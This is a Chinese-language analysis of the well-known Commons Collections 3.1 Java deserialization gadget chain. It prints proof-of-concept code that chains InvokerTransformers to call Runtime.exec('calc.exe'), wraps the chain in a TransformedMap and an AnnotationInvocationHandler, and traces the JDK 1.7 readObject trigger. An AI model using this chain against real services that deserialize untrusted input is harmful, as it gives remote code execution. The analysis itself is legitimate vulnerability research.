反序列化链经典案例。
反序列化漏洞利用成功条件:
- 反序列化数据输入点
- 反序列化操作触发函数(类似PHP魔法函数)
- 漏洞利用执行函数序列
- idea
- commons-collections-3.1.jar
Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。
这个漏洞核心是transformer结构。
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞利用效果函数就是在于这个点。
主要涉及PoC代码:
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[]{"calc.exe"}), new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(transforms);
这些Transformer对象都离不开transform方法,ConstantTransformer类初始化传入this.iConstant参数直接return,相当于this的作用。
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
}
InvokerTransformer类的transform则是反射,可以构造调用任意类方法。
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
...
}
}
}
那为啥PoC是一个数组那?在于ChainedTransformer可以把数组中transformer对象串起来,数组中的前元素作为下一个元素的对象,达成如下效果。
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")).exec("calc.exe");
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
...
//把数组中对象串起来,数组中的前元素作为下一个元素的对象
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
我们通过ChainedTransformer达到命令执行的效果,为了能被反序列操作触发,需要封装在Map中。通过我们得到的是ChainedTransformer的一个转换链,TransformedMap类提供将map和转换链绑定的构造函数。
但是为什么封装Map就会触发执行,在调试分析会详细说明。
对应PoC代码:
Map innermap = new HashMap();
innermap.put("value", "re111");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
TransformedMap类decorate()方法,return一个Map对象。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
...
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
反序列化操作触发函数在jdk1.7中,这是为什么要求jdk1.7的环境原因。
对应PoC代码:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
AnnotationInvocationHandler类的readObject()函数如下,其中传入的对象var5会调用setValue,该方法会触发TransformedMap对象的setValue方法,进而把链子打通,具体分析在下面调试分析中。
jdk 1.7
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
//对@Target这个注解的处理,getInstance会获取到@Target的基本信息
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
//this.memberValues类初始化传的参数
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
//var5是TransformedMap对象继承了 AbstractInputCheckedMapDecorator
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
在AnnotationInvocationHandler类中readObject()方法下断点调试。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
在jdk7中存在反序列化操作触发函数readObject,代码如下:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
核心函数是Map对象var5触发setValue(),为了能走到这个分支需要:
var7 != null
!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)
条件1和2,这就需要var7是个类,并且var8的类型不相同。
var7是通过var3获取到值,具体获取什么的key由var5(var4)的Map对象决定的,可以通过类初始化传入(可控)。
var8是通过可控var5(var4)的Map对象值决定的,条件2容易过可以不展开研究。
现在var3.get(var6)
key我们可控,现在需要Map类型var3,它是由AnnotationType.getInstance(this.type)
类型传入的也是类初始化传入(可控),AnnotationType
对@Target这个注解的处理,getInstance会获取到@Target的基本信息,找一个有Target注解的类即可,PoC找的就是java.lang.annotation.Retention
,到这条件1也达成了。
TransformedMap类继承了AbstractInputCheckedMapDecorator存在setValue()方法,
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法。
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
和Payload分析的一致。